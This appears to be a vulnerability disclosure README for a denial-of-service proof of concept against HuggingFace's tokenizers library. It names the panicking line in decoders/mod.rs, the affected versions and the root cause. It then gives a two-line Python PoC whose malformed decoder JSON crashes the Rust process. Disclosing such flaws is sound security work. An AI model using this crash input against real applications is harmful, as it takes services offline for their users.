File size: 809 Bytes
1ac5580
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# tokenizers-decoder-panic-poc

**PoC for:** Denial of Service via Rust Panic in HuggingFace tokenizers Decoder Deserialization

**Impact:** Loading this `tokenizer.json` file causes an unrecoverable Rust panic (SIGABRT) at `decoders/mod.rs:90`, crashing any application that uses `huggingface/tokenizers`.

**File:** `tokenizer.json` — contains malformed `decoder` field that triggers `.expect("Helper")` panic.

**Affected versions:** 0.1.0 through latest (0.23.2-dev.0)

**Root cause:** `decoders/mod.rs` line 90 uses `.expect("Helper")` instead of proper `?` error handling.

**PoC:**
```python
from tokenizers import Tokenizer
Tokenizer.from_str('{"decoder":[}}}')
# Result: thread 'main' panicked at tokenizers/src/decoders/mod.rs:90:63:
# "Helper: Error(\"expected value\", line: 1, column: 13)"
```